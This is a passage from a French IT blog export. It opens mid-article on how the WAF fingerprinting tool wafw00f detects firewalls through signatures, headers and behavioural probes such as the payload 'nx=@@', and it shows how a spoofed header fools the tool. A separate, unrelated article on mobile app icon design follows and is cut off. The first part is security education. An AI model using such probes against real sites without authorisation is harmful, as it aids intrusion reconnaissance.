<figure id="attachment_34076" aria-describedby="caption-attachment-34076" style="width: 800px" class="wp-caption aligncenter"><a href="media/ed4b060e.wafw00f-10.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-10.png"><img class="size-large wp-image-34076" src="media/c7bd9b45.wafw00f-10-800x471.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-10-800x471.png" alt="" width="800" height="471" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-10-800x471.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-10-550x324.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-10-150x88.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-10-768x453.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-10-160x94.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-10-50x29.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-10.png 1037w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34076" class="wp-caption-text">Contenu de différents plugins effectuant une analyse par signature ou bannière</figcaption></figure>
</figure>



<p>Pour ceux qui ont du mal à comprendre ces différents bouts de code.<strong> il s'agit d'une simple recherche dans la réponse du serveur pour voir si un cookie ou un en-tête </strong>portant un nom spécifique est présent. Par exemple l'en-tête "<em>Server: cloudflare-nginx</em>" (ligne 12, page de gauche) pour un pare-feu Cloudflare, qui peut apparaitre dans la page de blocage d'un pare-feu CloudFlare si on lui envoie un charge utile malveillante détectée.</p>



<h3>B. L'analyse comportementale</h3>



<p>L'outil <em>wafw00f </em>regarde comment le service web ciblé réagit à telle ou telle charge utile (<em>payload</em>) et va en <strong>déduire la présence d'un pare-feu et la technologie de celui-ci</strong>, c'est par exemple le cas pour les pare-feu Juniper :</p>



<div class="wp-block-image">
<figure class="aligncenter">
<figure id="attachment_34077" aria-describedby="caption-attachment-34077" style="width: 471px" class="wp-caption aligncenter"><a href="media/74530381.wafw00f-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-11.png"><img class="size-full wp-image-34077" src="media/74530381.wafw00f-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-11.png" alt="" width="471" height="686" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-11.png 471w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-11-103x150.png 103w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-11-110x160.png 110w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-11-34x50.png 34w" sizes="(max-width: 471px) 100vw, 471px" /></a><figcaption id="caption-attachment-34077" class="wp-caption-text">Extrait d'un plugin effectuant une analyse comportementale</figcaption></figure>
</figure>
</div>



<p>Ici le script Python fait un requête "normale" (sans charge utile malveillante, ligne 9) puis une requête contenant une charge utile considérée comme malveillante par les WAF Juniper (ligne 15). Pour chaque réponse, il regarde si un WAF a retourné un réponse indiquant une détection ou non. Si c'est le cas pour la requête contenant la charge utile malveillante, il annonce avoir été détecté (lignes 20 et 21).</p>



<p><strong>Dans leur configuration par défaut</strong>, les pare-feu peuvent contenir des expressions régulières ou des mots spécifiques dans leur <em>blacklist </em>(liste de mots sur lesquels ils se basent afin de statuer sur le caractère malveillante d'une requête). Il peut également s'agir d'éléments plus subtiles comme la taille maximale d'un fichier envoyé ainsi que son type (extension, contenu, etc.).<strong> Ces éléments peuvent donc eux aussi servir d'éléments de détection,</strong> qui deviennent moins fiable si le pare-feu n'est plus dans sa configuration par défaut.</p>



<p>Si l'outil ne parvient pas à identifier une technologie précise, il peut tout de même nous indiquer si une différence est observée entre les réponses aux requêtes contenant des charges utiles malveillantes et celles considérée comme "saines".<strong> Si une différence est observée, c'est un qu'un élément de sécurité est présent.</strong></p>



<h2>V. Fiabilité des tests</h2>



<p>J'ai fait mon test précédent avec la version 0.9.5 de <em>wafw00f</em>, depuis une KaliLinux non mise à jour depuis quelques mois et l'outil m’indiquait que<strong> mon site web se trouvait derrière un pare-feu Juniper</strong>. En téléchargeant la version 1.0.0 depuis le Github et en rejouant le même test, voici ce que j’obtiens :</p>



<div class="wp-block-image">
<figure class="aligncenter is-resized">
<figure id="attachment_34078" aria-describedby="caption-attachment-34078" style="width: 603px" class="wp-caption aligncenter"><a href="media/b7c37def.wafw00f-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-02.png"><img class="size-full wp-image-34078" src="media/b7c37def.wafw00f-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-02.png" alt="" width="603" height="723" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-02.png 603w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-02-550x659.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-02-125x150.png 125w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-02-133x160.png 133w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-02-42x50.png 42w" sizes="(max-width: 603px) 100vw, 603px" /></a><figcaption id="caption-attachment-34078" class="wp-caption-text">Exécution de wafw00f sur ogma-sec.fr avec la version 0.9.5</figcaption></figure>
</figure>
</div>



<p><strong>wafw00f ne détecte plus la même chose</strong>, il m'indique qu'un pare-feu applicatif est bien présent, sans trouver lequel. Que c'est-il passé ? Je commence par regarder dans les deux cas, et grâce à un proxy, quels tests sont joués à par <em>wafw00f</em>.</p>



<blockquote class="wp-block-quote">Petite chose à savoir, un option<em> --proxy </em>est présente dans <em>wafw00f </em>mais celui-ci ne gère pas l'utilisation d'un proxy HTTP pour une cible en HTTPS . Je doit donc passer par un proxy transparent et une modification de mon fichier <em>host </em>pour lui faire croire que ma cible est en faite en locale et qu'il s'agit de mon proxy BurpSuite en écoute. Celui-ci redirige ensuite le flux vers ma vraie cible en HTTPS.</blockquote>



<p>Bref, premier test avec la version 0.9.5 :</p>



<div class="wp-block-image">
<figure class="aligncenter">
<figure id="attachment_34079" aria-describedby="caption-attachment-34079" style="width: 800px" class="wp-caption aligncenter"><a href="media/875b09ac.wafw00f-0095_ogma_sec2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-0095_ogma_sec2.png"><img class="size-large wp-image-34079" src="media/5266a9bf.wafw00f-0095_ogma_sec2-800x333.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-0095_ogma_sec2-800x333.png" alt="" width="800" height="333" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-0095_ogma_sec2-800x333.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-0095_ogma_sec2-550x229.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-0095_ogma_sec2-150x62.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-0095_ogma_sec2-768x320.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-0095_ogma_sec2-160x67.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-0095_ogma_sec2-50x21.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-0095_ogma_sec2.png 1158w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34079" class="wp-caption-text">Exécution de wafw00f sur ogma-sec.fr avec la version 0.9.5</figcaption></figure>
<figcaption></figcaption>
</figure>
</div>



<p>Ce qui correspond au test inscrit dans le plugin <em>webscurity.py</em> du dépôt Github pour la version 0.9.5 :</p>



<div class="wp-block-image">
<figure class="aligncenter is-resized">
<figure id="attachment_34080" aria-describedby="caption-attachment-34080" style="width: 526px" class="wp-caption aligncenter"><a href="media/2caab8c1.wafw00f-06.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-06.png"><img class="size-full wp-image-34080" src="media/2caab8c1.wafw00f-06.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-06.png" alt="" width="526" height="753" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-06.png 526w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-06-105x150.png 105w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-06-112x160.png 112w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-06-35x50.png 35w" sizes="(max-width: 526px) 100vw, 526px" /></a><figcaption id="caption-attachment-34080" class="wp-caption-text">Plugin responsable de la détection d'un pare-feu Juniper (version 0.9.5)</figcaption></figure>
</figure>
</div>



<p>Second test avec la version 1.0.0 :</p>



<figure class="wp-block-image">
<figure id="attachment_34081" aria-describedby="caption-attachment-34081" style="width: 800px" class="wp-caption aligncenter"><a href="media/48df62eb.wafw00f-1_ogma_sec2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-1_ogma_sec2.png"><img class="size-large wp-image-34081" src="media/fdf76f98.wafw00f-1_ogma_sec2-800x592.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-1_ogma_sec2-800x592.png" alt="" width="800" height="592" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-1_ogma_sec2-800x592.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-1_ogma_sec2-550x407.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-1_ogma_sec2-150x111.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-1_ogma_sec2-768x568.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-1_ogma_sec2-160x118.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-1_ogma_sec2-50x37.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-1_ogma_sec2.png 1149w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34081" class="wp-caption-text">Détails de l'exécution de wafw00f version 1.0</figcaption></figure>
<figcaption></figcaption>
</figure>



<p>Envoyer la charge utile "<em>nx=@@</em>" semble provoquer une réaction dans le premier cas, mais pas dans le second où l'outil s'arrête à une requête différente. <em>Wafw00f </em>arrête son exécution dés la première conclusion et ne continue pas ses tests. L'option <em>-a</em> ou<em> --findall </em>permet de contourner ce comportement et de continuer les tests même après une première détection. Après quelques recherches sur le Github du projet, je remarque cette modification :</p>
<figure id="attachment_34082" aria-describedby="caption-attachment-34082" style="width: 695px" class="wp-caption aligncenter"><a href="media/d265c68c.wafw00f-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-03.png"><img class="size-full wp-image-34082" src="media/d265c68c.wafw00f-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-03.png" alt="" width="695" height="843" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-03.png 695w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-03-550x667.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-03-124x150.png 124w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-03-132x160.png 132w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-03-41x50.png 41w" sizes="(max-width: 695px) 100vw, 695px" /></a><figcaption id="caption-attachment-34082" class="wp-caption-text">Détails de l'exécution de wafw00f version 1.0</figcaption></figure>



<div class="wp-block-image"> </div>



<p>La détection de la réaction <em>nx=@@</em> n'est plus interprété par <em>wafw00f </em>de la même manière pour la raison suivante : <strong>Les contributeurs ont remarqué que les pare-feu Juniper ne réagissaient plus de la même manière dans leur dernière version</strong>. Cela signifie que si j'ai en face de moi un Juniper non mis à jour ou dans une ancienne version, sa présence ne sera plus détectée avec la version 1.0.0.0 de <em>wafw00f</em>.</p>



<p>Nous pouvons également<strong> facilement duper </strong><em><strong>wafw00f </strong></em><strong>lorsqu'il se base sur une analyse par signature</strong>. Si l'on regarde comment <em>wafw00f </em>détecte un pare-feu de type CloudFlare, on remarque qu'il recherche dans la réponse du serveur plusieurs en-têtes ou cookies, ce qui revient à faire du <a href="https://ogma-sec.fr/quest-ce-banner-grabbing/"><em>banner grabbing</em></a> comme pour identifier un WAF :</p>



<figure class="wp-block-image">
<figure id="attachment_34084" aria-describedby="caption-attachment-34084" style="width: 795px" class="wp-caption aligncenter"><a href="media/6edefc48.wafw00f-07.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07.png"><img class="size-full wp-image-34084" src="media/6edefc48.wafw00f-07.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07.png" alt="" width="795" height="567" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07.png 795w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-550x392.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-150x107.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-768x548.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-160x114.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-50x36.png 50w" sizes="(max-width: 795px) 100vw, 795px" /></a><figcaption id="caption-attachment-34084" class="wp-caption-text">Cas de détection par en-têtes/cookies d'un pare-feu Cloudflare</figcaption></figure>
<a href="media/9f49cc75.wafw00f-07-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-1.png"><img class="aligncenter size-large wp-image-34085" src="media/9f49cc75.wafw00f-07-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-1.png" alt="" width="795" height="567" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-1.png 795w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-1-550x392.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-1-150x107.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-1-768x548.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-1-160x114.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-07-1-50x36.png 50w" sizes="(max-width: 795px) 100vw, 795px" /></a></figure>



<p>Je configure donc mon Apache pour ajouter l'une de ces bannières, par exemple <em>cf-ray</em>, dans toutes ses réponses, et j'exécute wafw00f :</p>



<figure class="wp-block-image">
<figure id="attachment_34089" aria-describedby="caption-attachment-34089" style="width: 714px" class="wp-caption aligncenter"><a href="media/c8a9214e.wafw00f-08.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-08.png"><img class="size-full wp-image-34089" src="media/c8a9214e.wafw00f-08.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-08.png" alt="" width="714" height="598" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-08.png 714w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-08-550x461.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-08-150x126.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-08-160x134.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/wafw00f-08-50x42.png 50w" sizes="(max-width: 714px) 100vw, 714px" /></a><figcaption id="caption-attachment-34089" class="wp-caption-text">Détection d'un pare-feu cloudflare grâce à l'ajout d'un en-tête dans Apache</figcaption></figure>
</figure>



<p>Il me retourne comme attendu une détection d'un pare-feu de type Cloudflare alors que ce n'est pas le cas. On peut donc facilement orienter un outil ou un attaquant (qui ne se baserait que sur les résultats de ses outils)<strong> vers une mauvaise direction et ainsi augmenter ses chances de détection</strong>.</p>



<p><em>wafw00f </em>est un outil <strong>très utile lors de la phase de reconnaissance/cartographie</strong>. J'espère que vous avez à présent un meilleur aperçu de son utilité, de son fonctionnement et de ses limites. Attention toutefois, nous avons vu qu'il prend en compte un grand nombre de technologies mais qu'il ne s'agit pas d'un outil magique, <strong>comme tout outil automatisé, ses résultats sont à analyser et à vérifier.</strong></p>



<p>Également, attention à bien prendre la dernière version de <em>wafw00f</em>, comme d'habitude, les outils d'attaque évoluent aussi bien que les outils de défense. Les contributeurs de <em>wafw00f </em>mettent à jour leurs tests identification régulièrement. Enfin, <strong>vous pouvez également écrire vos propres tests</strong> et éventuellement<strong> les partager à la communauté</strong> en suivant les instructions suivantes sur le Wiki de l'outil : <a href="https://github.com/EnableSecurity/wafw00f/wiki/How-to-write-new-WAF-checks" target="_blank" rel="noreferrer noopener" aria-label=" (s’ouvre dans un nouvel onglet)">https://github.com/EnableSecurity/wafw00f/wiki/How-to-write-new-WAF-checks</a></p>


feed_id: https://www.it-connect.fr/?p=34491
title: Comment créer un logo pour une application : règles et procédés
uri: Comment-créer-un-logo-pour-une-application-règles-et-procédés
url: https://www.it-connect.fr/comment-creer-un-logo-pour-une-application-regles-et-procedes/
content:
<h2>I. Présentation</h2>
<p><strong>Le développement d’applications mobiles est une perspective d’affaires. Selon certaines prédictions, d’ici 2020, les revenus liés à cette sphère seront de 189 milliards de dollars. En moyenne, un propriétaire de smartphone utilise 30 applications par mois sur son appareil. 2,8 millions d’applications officielles ont été créées par des fans d’Android. Il y a 2,2 millions de programmes sur l’Apple App Store. Comment faire en sorte que les gens prêtent attention à vos applications avec une telle concurrence ?</strong></p>
<p>L’icône de l’application mobile est la première chose que les utilisateurs voient avant de décider d’installer l’application ou non. Ainsi, c’est l’icône qui permet à votre produit de se distinguer par rapport aux applications concurrentes. Avec une icône agréable, vous attirerez de nouveaux utilisateurs. Son design de qualité indiquera mieux que n’importe quels mots que votre programme pourrait être intéressant.</p>
<h3>Pourquoi l’icône de l’application mobile est-elle nécessaire ?</h3>
<p>L’icône de l’application est une image graphique. Son but principal est d’être utilisée comme raccourci pour ouvrir le programme installé. De plus, l’image simplifie l’identification du programme pendant la recherche : ayant plusieurs options similaires, l’utilisateur choisira par icône, titre et note. L’icône idéale explique le but du programme.</p>
<p>Ainsi, la tâche de l’icône est de susciter l’intérêt de l’utilisateur et de le convaincre que le programme mobile est crédible et peut résoudre ses besoins réels.</p>
<p><img class="aligncenter size-full wp-image-34493" src="media/1e6691af.tips-app-logo-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-01.jpg" alt="" width="433" height="404" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-01.jpg 433w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-01-150x140.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-01-160x149.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-01-50x47.jpg 50w" sizes="(max-width: 433px) 100vw, 433px" /></p>
<h2>II. 6 astuces pour créer des logos d’applications</h2>
<p>L’icône de l’application mobile doit être originale (pas de violation de droit d’auteur). Elle doit correspondre au design de l’interface du programme à travers sa couleur et son style. Plus important, l'élément doit être conforme aux règles de design officielles :</p>
<p>• L’icône de l’application Android doit être créée conformément aux astuces pour <a href="https://developer.android.com/design/index.html" target="_blank" rel="noopener noreferrer">créateurs de produits Android</a> ;</p>
<p>• L’icône pour iPhone et autres gadgets iOS doit être développée selon<a href="https://developer.apple.com/design/human-interface-guidelines/ios/overview/themes/" target="_blank" rel="noopener noreferrer"> les lignes directrices d’Apple</a>.</p>
<p>De même, suivez les lignes directrices universelles pour que le logo accomplisse son rôle efficacement. Nous avons compilé 6 règles principales.</p>
<h3>1. Le redimensionnement</h3>
<p>L’icône de l’application mobile est affichée sur la page principale du Store, dans le sous-menu (dans la version plus petite) et sous forme d’icône sur l’écran de l’appareil mobile. Dans tous les cas, elle aura plusieurs tailles. La version affichée à l’écran dépend souvent de la résolution et des paramètres personnalisés. L’essentiel est que l’image reste lisible dans tous les cas, et que l’utilisateur n’ait pas à forcer pour voir les détails. Vous pouvez voir les options d’affichage de vos icônes à l’aide de services spéciaux - par exemple, <a href="http://www.appsparky.com/" target="_blank" rel="noopener noreferrer">Appsparky</a>.</p>
<p><img class="aligncenter size-full wp-image-34494" src="media/34c5553f.tips-app-logo-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-02.jpg" alt="" width="602" height="292" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-02.jpg 602w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-02-550x267.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-02-150x73.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-02-160x78.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-02-50x24.jpg 50w" sizes="(max-width: 602px) 100vw, 602px" /></p>
<h3>2. La reconnaissance</h3>
<p>La plupart des utilisateurs doivent reconnaître les symboles et images de votre icône. Tous les éléments visuels doivent être compris quel que soit le pays ou la langue. L’efficacité de l’icône dépend de la compréhension de votre idée de design par les utilisateurs. YouTube est un bon exemple. Il s’agit à la base du symbole courant de lecture de vidéo.</p>
<p><img class="aligncenter size-full wp-image-34495" src="media/924fe8b3.tips-app-logo-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-03.jpg" alt="" width="279" height="209" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-03.jpg 279w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-03-150x112.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-03-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-03-50x37.jpg 50w" sizes="(max-width: 279px) 100vw, 279px" /></p>
<h3>3. L’unicité</h3>
<p>Votre icône d’application se battra avec des millions d’autres icônes pour l’attention de l’utilisateur. Dans ce cas, l’unicité est une chance de rendre les images remarquables. Comment rendre unique l’icône de l’application :</p>
<p>• Explorez d’autres icônes dans votre niche. Analysez les meilleures réalisations et faites tout différemment. Copier les idées des autres dans ce cas mène droit à l’échec;</p>
<p>• Cherchez de nouvelles significations en termes de couleurs et de symboles. Expérimentez et faites plusieurs essais;</p>
<p>• Inspirez-vous des icônes d’applications de jeux : cette niche a des besoins moins formels en termes d’images et présente plus de créativité;</p>
<p>• Vous pouvez utiliser des éléments visuels reconnaissables de votre marque comme idée de base. C’est ce qu’ont fait les développeurs de l’application Twitter, par exemple.</p>
<p><img class="aligncenter size-full wp-image-34496" src="media/293977fb.tips-app-logo-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-04.jpg" alt="" width="200" height="198" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-04.jpg 200w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-04-150x150.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-04-160x158.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-04-50x50.jpg 50w" sizes="(max-width: 200px) 100vw, 200px" /></p>
<h3>4. Modérez le nombre de lettres</h3>
<p>Facebook a bien raison d’utiliser la lettre F dans l’icône de l’application. Des dizaines de services célèbres en font de même. Si votre identité de marque est développée afin que les utilisateurs vous reconnaissent avec une ou deux lettres, c’est tout simplement excellent. Mais ne mettez pas le nom complet de l’entreprise dans l’icône. Et de manière générale, supprimez autant de mots que possible. Si vous décidez d’insérer des mots, alors vous n’utilisez pas entièrement les avantages des éléments visuels.</p>
<p>Les mots et les images sont des outils opposés. L’icône est une représentation graphique du programme. Faites attention aux détails visuels car :</p>
<p>• le nom de l’application sera déjà écrit à côté de l’icône;</p>
<p>• les lettres et les mots voleront la vedette aux images et vice versa. Le fait de perdre l’attention de l’utilisateur fera qu’il choisira votre concurrent.</p>
<p>Si le nom est court, vous pouvez essayez de l’utiliser comme élément central. C’est ce qu’a fait la société Néo-Zélandaise Xero.</p>
<p><img class="aligncenter size-full wp-image-34497" src="media/235eaa29.tips-app-logo-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-05.jpg" alt="" width="263" height="239" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-05.jpg 263w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-05-150x136.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-05-160x145.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-05-50x45.jpg 50w" sizes="(max-width: 263px) 100vw, 263px" /></p>
<h3>5. Un logo répondant aux attentes fonctionnelles</h3>
<p>Les processus d'interaction de l’utilisateur avec l’icône et l’interface doivent être les mêmes. Une bonne icône d’application doit exprimer le concept du programme, créer un image de produit complète et compléter le design, l’idée et la fonctionnalité. Une telle icône :</p>
<p>• est conforme au schéma de couleurs et au style de l’application;</p>
<p>• montre à quoi sert le programme;</p>
<p>• est bien visible sur les thèmes clairs et sombres, ainsi que sur différents types de papiers peints.</p>
<p>Dropbox est un bon exemple de solution visuelle :</p>
<p><img class="aligncenter size-full wp-image-34498" src="media/de5aaeda.tips-app-logo-06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-06.jpg" alt="" width="217" height="231" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-06.jpg 217w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-06-141x150.jpg 141w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-06-150x160.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-06-47x50.jpg 47w" sizes="(max-width: 217px) 100vw, 217px" /></p>
<h3>6. Affichage sur fonds sombre et clair</h3>
<p>L’utilisateur peut choisir le thème sombre du design du Store. Ceci peut rendre le fond de l’appareil sombre ou clair. Il est important que les icônes ressortent tout aussi bien sur toutes les variantes du fond. Vous pouvez tester ceci avec le service <a href="http://www.icontester.com/" target="_blank" rel="noopener noreferrer">IconTester</a>. En voici un exemple :</p>
<p><img class="aligncenter size-full wp-image-34499" src="media/2e3f7fb5.tips-app-logo-07.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-07.jpg" alt="" width="602" height="189" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-07.jpg 602w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-07-550x173.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-07-150x47.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-07-160x50.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-07-50x16.jpg 50w" sizes="(max-width: 602px) 100vw, 602px" /></p>
<h2>III. Tendances de design de logo d’applications mobiles</h2>
<p>Comment créer une icône pour une application Android ou iOS en tenant compte de ces tendances de design ? Nous pouvons vous donner quelques recommandations qui resteront d’actualité dans un futur proche :</p>
<p><strong>1. La simplification.</strong> Supprimer l’excès de la composition - concentrez-vous sur l’essentiel. Plus l’image est simple, mieux elle sera reconnue sur n’importe quel type d’écran. Smartsheet scheduler a exactement ce type de logo.</p>
<p><img class="aligncenter size-full wp-image-34500" src="media/53f02244.tips-app-logo-08.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-08.jpg" alt="" width="170" height="145" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-08.jpg 170w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-08-150x128.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-08-160x136.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-08-50x43.jpg 50w" sizes="(max-width: 170px) 100vw, 170px" /></p>
<p><strong>2. Supprimez tous les éléments qui ne sont pas nécessaires.</strong> Supprimer tous les détails mineurs n’affectant pas le sens de votre logo. Si seules les choses essentielles restent, le résultat sera mieux retenu. Voici l’exemple de Calendly :</p>
<p><img class="aligncenter size-full wp-image-34505" src="media/6ffe6549.tips-app-logo-09.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-09.jpg" alt="" width="156" height="168" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-09.jpg 156w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-09-139x150.jpg 139w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-09-149x160.jpg 149w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-09-46x50.jpg 46w" sizes="(max-width: 156px) 100vw, 156px" /></p>
